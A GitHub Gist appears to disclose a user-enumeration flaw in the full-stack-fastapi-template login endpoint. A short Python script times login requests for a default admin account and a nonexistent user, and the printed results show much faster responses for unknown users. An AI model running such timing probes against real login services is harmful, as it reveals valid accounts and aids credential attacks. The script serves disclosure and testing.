Created
April 27, 2025 11:21
-
-
Save goabonga/ccc6e98e585bdc86675d073dfaa998d5 to your computer and use it in GitHub Desktop.
full-stack-fastapi-template authentication endpoint leaks user enumeration via response differences
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import time | |
| import requests | |
| def measure_response_time(url: str, username: str, password: str) -> float: | |
| data = { | |
| "username": username, | |
| "password": password | |
| } | |
| start = time.perf_counter() | |
| response = requests.post(url, data=data) | |
| end = time.perf_counter() | |
| return end - start, response.status_code | |
| def main() -> None: | |
| url = "http://localhost:8000/api/v1/login/access-token" | |
| users = [ | |
| ("admin@example.com", "changethis"), | |
| ("admin@example.com", "wrongpassword"), | |
| ("invaliduser@example.com", "wrongpassword") | |
| ] | |
| for username, password in users: | |
| durations = [] | |
| for _ in range(1): | |
| duration, status = measure_response_time(url, username, password) | |
| durations.append(duration) | |
| avg_duration = sum(durations) / len(durations) | |
| print(f"Username: {username}, Average response time: {avg_duration:.5f} seconds") | |
| if __name__ == "__main__": | |
| main() |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Username: admin@example.com, Average response time: 0.24492 seconds
Username: admin@example.com, Average response time: 0.18740 seconds
Username: invaliduser@example.com, Average response time: 0.00375 seconds